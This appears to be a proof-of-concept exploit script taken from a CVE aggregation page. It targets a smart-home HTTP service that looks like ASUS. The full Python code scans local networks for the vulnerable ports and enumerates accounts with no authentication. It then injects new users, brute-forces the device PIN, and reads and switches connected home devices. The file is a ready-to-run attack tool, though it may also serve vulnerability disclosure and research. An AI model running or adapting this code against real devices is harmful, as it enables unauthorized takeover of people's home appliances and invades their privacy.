4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / SmartHomeExploit.py PY
#!/usr/bin/env python3
import socket
import requests
import xml.etree.ElementTree as ET
from DeviceInfo import *
import hashlib

requests.packages.urllib3.disable_warnings()

class SmartHomeExploit():
    def output(self, s):
        if self.v:
            print(s)

    def __init__(self, target, user=None ,new_user=None, pwd="0000",verbose=False):
        self.pwd = pwd
        self.target = target
        self.headers = {'Content-Type': 'text/xml'}
        if new_user: add_success = self.addUser(new_user)
        # select user
        if user:
            self.user = user
        elif new_user and add_success:
            self.user = new_user
        else:
            self.user = SmartHomeExploit.getFirstUser(self.target)

        self.v = verbose

    @staticmethod
    def getFirstUser(target):
        """ get first user from target
        Args:
            target (str): target ip and port (e.g. "192.168.0.1:8080")

        Returns:
            string: username (None => no user)
        """
        e,users = SmartHomeExploit.getUsers(target)
        if e and len(users):
            return users[0]
        else:
            return None

    @staticmethod 
    def getUsers(target):
        """ get all user from target
        Args:
            target (str): target protocol, ip and port (e.g. "http://192.168.0.1:8080")
        
        Returns:
            bool: True => exploitable, False => not exploitable
            list: user list
        """
        try:
            target_url = "%s/smarthome/usergetinfo" % (target)
            response = requests.post(target_url,data="<a></a>",timeout=5,headers={'Content-Type': 'text/xml'},verify=False)
            root = ET.fromstring(response.text)
            if root.tag == "usergetinfo":
                return True,list(map(lambda x:x.text,root.findall("userinfo/asusaccount")))
        except Exception as e:
            return False,[]
        return False,[]
    
    @staticmethod
    def scanNetWorkPort(target, v=False, timeout=1000, scan_all=False):
        target_fmt = target + ".%d"
        result = []
        for i in range(256):
            t = target_fmt % i
            if v:print("[INFO] scanning",t)
            ip_port = SmartHomeExploit.scanVulPort(t,timeout=timeout)
            if ip_port:
                if v:print("* FOUND : %s is exploitable. " % ip_port)
                if scan_all:
                    result.append(ip_port)
                else:
                    return [ip_port]
        return result


    @staticmethod 
    def scanVulPort(target, v=False,timeout=1000):
        """ scan exploitable port(8080-8181)
        Args:
            target (str)  : target ip (e.g. "192.168.0.1")
            verbose (bool): show verbose
        
        Returns:
            str: exploitable port and protocol (format : http://192.168.0.1:8080 , "" => not exploitable)
        """
        for port in range(8080,8080+101):  
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(timeout/1000)
                result = sock.connect_ex((target, port))
                if result == 0: 
                    if SmartHomeExploit.checkVulService("http://%s:%s" % (target,port), v):
                        return "http://%s:%s" % (target,port)
                    if SmartHomeExploit.checkVulService("https://%s:%s" % (target,port), v):
                        return "https://%s:%s" % (target,port)
                sock.close()
            except Exception as e:
                print("[ERROR]: scan error")
        return ""

    @staticmethod
    def checkVulService(target,v=False):
        """ scan exploitable service.
        Args:
            target (str)  : target (e.g. "http://192.168.0.1:8080")
            verbose (bool): show verbose

        Returns:
            bool: is exploitable.
        """
        e, users= SmartHomeExploit.getUsers(target)
        if v: print("[INFO] target : %s" % (target))
        if e:
            if v:
                print("[INFO] ---------------------------")
                print("[INFO]   # List account #")
                for account in users:
                    print("         * " + account)
                print("[INFO] ---------------------------\n")
            return True
        else:
            if v: print("       > Not exploitable\n")
        return False

    def addUser(self, username):
        """ add a user to device
        Args:
            username (str): the name want to add

        Returns:
            bool: True => success
        """
        xml = """<?xml version='1.0' encoding='UTF-8'?>
<useradd>
  <asusaccount>%s</asusaccount>
  <userinfo>
    <username>%s</username>
    <password>%s</password>
    <pushid>%s</pushid>
    <rootpassword>%s</rootpassword>
    <ostype>0</ostype>
    <phone_model>A</phone_model>
    <phone_os>A</phone_os>
    <phone_os_version>1</phone_os_version>
    <app_version>1</app_version>
    <needpush>1</needpush>
    <alive>1</alive>
  </userinfo>
</useradd>""" % (username, username, "password", hashlib.md5(username.encode("utf-8")).hexdigest(), self.pwd)
        try:
            target_url = "%s/smarthome/useradd" % (self.target)
            self.output(xml + "\n")
            response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
            self.output(response.text)
            root = ET.fromstring(response.text)
            if root.tag == "useradd" and root.find("resultcode").text == "0":
                return True
        except Exception as e:
            return False
        return False

    def forceAddUser(self, name):
        """ brute force the password, and add a user to device.
        Args:
            username (str): the name want to add

        Returns:
            bool: True => success
        """
        for i in range(4,7):
            max = 10**i
            for j in range(0,max):
                pwd = ("%%0%dd" % 4) % j
                self.output(pwd)
                self.pwd = pwd
                if self.addUser(name):
                    print("password = %s" % self.pwd)
                    return True
                if j % 100 == 0:
                    print("test pwd: %s" % (self.pwd[:2]+"XX"))
        return False


    def listDeviceInfo(self):
        """ list all device
        Returns:
            list of dict: (None=>Error)
                int: deviceid
                str: devicename
                str: type
                str: value
        """
        xml = """<?xml version='1.0' encoding='utf-8'?>
<devicegetinfo>
  <asusaccount>%s</asusaccount>
</devicegetinfo>""" % self.user
        try:
            target_url = "%s/smarthome/devicegetinfo" % (self.target)
            self.output(xml + "\n")
            response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
            root = ET.fromstring(response.text)
            self.output(response.text)
            if root.tag == "devicegetinfo" and root.find("resultcode").text == "0":
                l = []
                for i in root.findall("deviceinfo"):
                    l.append(parseDeviceInfo(i))
                return l
        except Exception as e:
            return None
        return None

    @staticmethod
    def printDevice(status):
        """ print device status (deviceStatus)
        Args:
            status (dict): device status dict (get from deviceStatus).
        """
        if status and ('deviceid' and 'devicename' and 'type' and 'value' in status):
            print("[*] Device status")
            print("    > deviceid   : %s" % status['deviceid'])
            print("    > devicename : %s" % status['devicename'])
            print("    > type       : %s" % status['type'])
            print("    > value      : %s" % status['value'])
        else:
            print("[ERROR] format error!")


    def deviceStatus(self, id):
        """ show device status by device_id.
        Args:
            id (int): device id (get from listDeviceInfo).
        Returns:
            dict: (None=>Error)
                int: deviceid
                str: devicename
                str: type
                str: value
        """
        xml = """<?xml version='1.0' encoding='utf-8'?>
<devicegetinfo>
  <asusaccount>%s</asusaccount>
  <deviceid>%s</deviceid>
</devicegetinfo>""" % (self.user , id)
        try:
            target_url = "%s/smarthome/devicegetinfo" % (self.target)
            self.output(xml + "\n")
            response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
            self.output(response.text)
            root = ET.fromstring(response.text)
            if root.tag == "devicegetinfo" and root.find("resultcode").text == "0":
                xml = root.find("deviceinfo")
                return parseDeviceInfo(xml)
        except Exception as e:
            return None
        return None


    def getCtrlClusterid(self, id):
        return device_ctrl[self.deviceStatus(id)['type']]

    def deviceControl(self, id, value):
        """ control device
        Args:
            id (int): device id
            value: The value you want to set

        Returns:
            bool: True => success
        """

        try:
            xml = """<?xml version='1.0' encoding='utf-8'?>
<devicecontrol>
  <asusaccount>%s</asusaccount>
  <deviceid>%s</deviceid>
  <clusterid>%s</clusterid>
  <devicecmdid>%s</devicecmdid>
  <payload>
  </payload>
</devicecontrol>""" % (self.user, id, self.getCtrlClusterid(id), value)
            target_url = "%s/smarthome/devicecontrol" % (self.target)
            self.output(xml + "\n")
            response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
            self.output(response.text)
            root = ET.fromstring(response.text)
            if root.tag == "devicecontrol" and root.find("resultcode").text == "0":
                return True
        except Exception as e:
            import traceback
            print("ERROR : ")
            traceback.print_exc()
            return False
        return False